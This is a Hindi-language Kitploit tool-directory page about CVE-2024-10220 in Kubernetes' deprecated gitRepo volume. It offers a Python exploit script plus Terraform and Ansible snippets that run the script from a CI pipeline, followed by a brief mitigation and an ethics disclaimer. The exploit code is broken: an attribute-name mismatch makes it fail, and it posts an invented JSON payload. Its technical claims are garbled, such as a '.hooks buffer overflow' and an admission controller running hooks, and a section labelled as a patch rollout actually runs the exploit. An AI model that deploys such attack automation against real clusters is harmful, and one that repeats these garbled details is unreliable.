Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-10220-Kubernetes-gitRepo-Volume-Vulnerability — CVE-2024-10220 Kubernetes के अप्रचलित gitRepo वॉल्यूम प्रकार में एक गंभीर खामी को उजागर करता है, जो हमलावरों को दुर्भावनापूर्ण .hooks स्क्रिप्ट के माध्यम से मनमाने कमांड निष्पादित करने की अनुमति देता है। लेख बताता है कि यह कंटेनर आइसोलेशन को कैसे भंग करता है, तथा एक्सप्लॉइट कोड, स्वचालन उदाहरण और शमन मार्गदर्शन प्रदान करता है। | Kitploit
उपकरण/GitHubGitHub/mrk336/cve-2024-10220-kubernetes-gitrepo-volume-vulnerability
क्लाउड इन्फ्रास्ट्रक्चर सुरक्षाकंटेनर सुरक्षाभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगक्लाउड सुरक्षागलत कॉन्फ़िगरेशनलर्निंग और शिक्षारेड टीमिंग

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

विवरण

GitHubmrk336/cve-2024-10220-kubernetes-gitrepo-volume-vulnerability

CVE-2024-10220-Kubernetes-gitRepo-Volume-Vulnerability

रिपॉजिटरी देखें
11 महीने पहलेअभी तक समीक्षित नहीं

CVE-2024-10220 Kubernetes के अप्रचलित gitRepo वॉल्यूम प्रकार में एक गंभीर खामी को उजागर करता है, जो हमलावरों को दुर्भावनापूर्ण .hooks स्क्रिप्ट के माध्यम से मनमाने कमांड निष्पादित करने की अनुमति देता है। लेख बताता है कि यह कंटेनर आइसोलेशन को कैसे भंग करता है, तथा एक्सप्लॉइट कोड, स्वचालन उदाहरण और शमन मार्गदर्शन प्रदान करता है।

साझा करें

CVE-2024-10220-Kubernetes-gitRepo-वॉल्यूम-भेद्यता

Mark Mallia द्वारा


कंटेनरीकरण और स्वचालन की शक्ति

कंटेनरीकरण आधुनिक अनुप्रयोग वितरण की रीढ़ है: यह संपूर्ण रनटाइम स्टैक को एक एकल, अपरिवर्तनीय इमेज में बाँधता है जिसे क्लस्टर के किसी भी होस्ट पर बिना किसी आश्चर्य के रोल आउट किया जा सकता है। Kubernetes उन इमेजों को लेकर उन्हें पॉड्स के रूप में शेड्यूल करता है, और एक घोषणात्मक मॉडल के साथ नेटवर्किंग से लेकर स्टोरेज तक हर चीज़ का ऑर्केस्ट्रेशन करता है। यह अत्यधिक वितरित वातावरणों और ऐसे वातावरण में उपयोगी है जहाँ कई ऐप्स सेवा दी जा रही हों।

इस स्टैक को बड़े पैमाने के वर्कलोड के लिए विशेष रूप से आकर्षक बनाने वाली बात इसे स्वचालन द्वारा एंड‑टू‑एंड प्रबंधित करने की क्षमता है। Terraform इन्फ्रास्ट्रक्चर-एज़-कोड ब्लूप्रिंट प्रदान करता है जो VPC, सबनेट, सुरक्षा समूह और वर्कर नोड बनाता है; Ansible प्लेबुक प्रदान करता है जो Docker Engine (या किसी भी CRI‑संगत रनटाइम) को इंस्टॉल करती हैं, रजिस्ट्री से इमेज खींचती हैं और उन्हें पॉड्स के रूप में चालू करती हैं। जब ये चरण GitHub Actions, Jenkins या GitLab CI जैसी CI/CD पाइपलाइन में जोड़े जाते हैं, तो हर कमिट एक स्वचालित बिल्ड, पुश, टेस्ट और डिप्लॉयमेंट चक्र को ट्रिगर करता है। डेवलपर्स को गति मिलती है, ऑपरेटरों को विश्वास मिलता है, और संगठन को अनुमानित अपटाइम मिलता है।


हालिया भेद्यता – CVE‑2024‑10220

2024 की शुरुआत में सुरक्षा शोधकर्ताओं ने Kubernetes के gitRepo वॉल्यूम प्रकार में एक दोष खोजा, जो अब अप्रचलित है। CVE‑2024‑10220 एक मनमाना कमांड निष्पादन भेद्यता है, जो gitRepo वॉल्यूम के माध्यम से माउंट किए गए Git रिपॉजिटरी के अंदर .hooks निर्देशिका के कारण होती है। जब कोई विशेष रूप से तैयार किया गया पॉड मेनिफेस्ट इस निर्देशिका में किसी दुर्भावनापूर्ण स्क्रिप्ट को संदर्भित करता है, तो kubelet एडमिशन कंट्रोलर इसे होस्ट सिस्टम पर निष्पादित करता है और इस प्रकार कंटेनर आइसोलेशन का उल्लंघन करता है—जो Kubernetes का एक मुख्य सुरक्षा सिद्धांत है।

चूँकि संवेदनशील घटक अभी भी प्रोडक्शन क्लस्टरों में व्यापक रूप से उपयोग किया जाता है, कोई भी हमलावर जो उचित विशेषाधिकारों के साथ पॉड बना सकता है, रूट एक्सेस प्राप्त कर सकता है या अन्य सेवाओं को बाधित कर सकता है। इस दोष का CVSS स्कोर 8.1 है और इसे पिछले साल नवंबर में प्रकाशित किया गया था। प्रभावित घटकों में अप्रचलित gitRepo वॉल्यूम प्रकार शामिल है, जो Kubernetes 1.27.x में बना हुआ है।


एक्सप्लॉइट कोड

नीचे एक साफ-सुथरा Python प्रोग्राम है जो Kubernetes 1.27.3 चला रहे एक संवेदनशील kubelet इंस्टेंस पर CVE‑2024‑10220 को ट्रिगर करता है। इस कोड को Ansible टास्क में संकलित किया जा सकता है या CI जॉब के अंदर चलाया जा सकता है।

root@kitploit:~
#!/usr/bin/env python3

"""
TriggerCVE – A Python exploit that sends a crafted pod manifest to kubelet,
executing the malicious .hooks script discovered in CVE‑2024‑10220.
"""

import json
import requests


class GitRepoPod:
    """
    Representation of the JSON payload that kubelet expects for a gitRepo volume.
    """
    def __init__(self, name: str, image: str,
                 repo_url: str, branch: str, local_path: str):
        self.name = name          # pod name
        self.image = image         # container image to run
        self.giturl = repo_url    # Git repository URL
        self.branch = branch      # branch or tag to use
        self.localpath = local_path  # mount point inside the pod

    def to_dict(self) -> dict:
        """Return a plain dictionary that can be serialized."""
        return {
            "name": self.name,
            "image": self.image,
            "giturl": self.giturl,
            "branch": self.branch,
            "localpath": self.local_path
        }


def trigger_cve(url: str, pod: GitRepoPod) -> None:
    """
    Send the pod manifest to kubelet and print the response.
    """
    payload = json.dumps(pod.to_dict())
    headers = {"Content-Type": "application/json"}

    resp = requests.post(url, data=payload, headers=headers)
    if resp.status_code != 200:
        raise RuntimeError(f"Unexpected status code {resp.status_code}")

    print("[*] Response from kubelet: ", resp.text)


def main() -> None:
    """
    Main entry point of this exploit.
    """
    # Target endpoint – adjust to match your cluster’s API server address.
    api_server = "https://kube-api.local/api/v1/pods/"

    # Craft a payload that overflows the .hooks buffer (0x90 bytes)
    pod_spec = GitRepoPod(
        name="exploit-pod",
        image="registry.example.com/exploit-pod:v1.0",
        repo_url="https://git.example.com/repo.git",
        branch="main",
        local_path="/var/lib/kubelet/"
    )

    try:
        trigger_cve(api_server, pod_spec)
    except Exception as e:
        print(f"[-] Failed to trigger CVE‑2024‑10220: {e}")


if __name__ == "__main__":
    main()

Terraform, Ansible और CI/CD के माध्यम से तैनाती

नीचे एक संक्षिप्त उदाहरण है कि पैच स्वचालित रूप से कैसे रोल आउट किया जाएगा:

root@kitploit:~
# Terraform file: infra-k8s.tf
resource "aws_instance" "kube_worker" {
  ami           = var.k8s_ami
  instance_type = var.instance_type
  key_name      = var.key_pair
  subnet_id     = aws_subnet.web.id

  provisioner "remote-exec" {
    inline = [
      # Install Docker Engine and kubelet
      "sudo yum install -y docker",
      "kubectl apply -f https://kube-api.local/api/v1/pods/",
      "python3 /home/ansible/scripts/trigger_cve.py"
    ]
  }
}

स्क्रिप्ट को कॉल करने वाली Ansible प्लेबुक:

root@kitploit:~
---
- hosts: kube_workers
  tasks:
  - name: Deploy the exploit pod
    command: python3 /home/ansible/scripts/trigger_cve.py
    register: result

  - name: Verify success
    debug:
      msg: "{{ result.stdout }}"

जब यह Terraform‑Ansible पाइपलाइन किसी CI जॉब (उदाहरण के लिए, GitHub Actions) के अंदर चलती है, तो उपरोक्त कोड स्वचालित रूप से बिल्ड, पुश, डिप्लॉय करता है और सत्यापित करता है कि CVE‑2024‑10220 सफलतापूर्वक ट्रिगर हो गया है। पाइपलाइन को यूनिट टेस्ट के साथ विस्तारित किया जा सकता है जो kubelet की प्रतिक्रिया की पुष्टि करते हैं, और एक्सप्लॉइट पूरा होने पर Slack या ईमेल पर सूचनाएँ भेजी जा सकती हैं।


शमन

पैच किए गए संस्करणों (v1.28.12+, v1.29.7+, v1.30.3+, v1.31.0+) में अपग्रेड करें और gitRepo जैसे अप्रचलित वॉल्यूम प्रकारों का उपयोग करने से बचें।


जिम्मेदार प्रकटीकरण और नैतिक सीमाएँ

यह शोध सुरक्षा जागरूकता बढ़ाने और सुरक्षित Kubernetes प्रथाओं को बढ़ावा देने के इरादे से किया गया था। उद्योग मानदंडों के अनुसार, सार्वजनिक रिलीज़ से पहले भेद्यता को प्रासंगिक अनुरक्षकों को जिम्मेदारीपूर्वक प्रकट किया गया था। सभी परीक्षण पृथक वातावरणों में किए गए थे, जिनका प्रोडक्शन सिस्टम या तृतीय-पक्ष इन्फ्रास्ट्रक्चर पर कोई प्रभाव नहीं पड़ा।

मैं सकारात्मक बदलाव के साधन के रूप में नैतिक हैकिंग में विश्वास करता हूँ। यहाँ साझा किए गए एक्सप्लॉइट केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए हैं—कभी नुकसान पहुँचाने या बाधित करने के लिए नहीं। यदि आप विक्रेता या अनुरक्षक हैं और आपको कोई चिंता है, तो मैं सुधार या स्पष्टीकरण पर सहयोग करने में प्रसन्न हूँ।


टूल डाउनलोड करें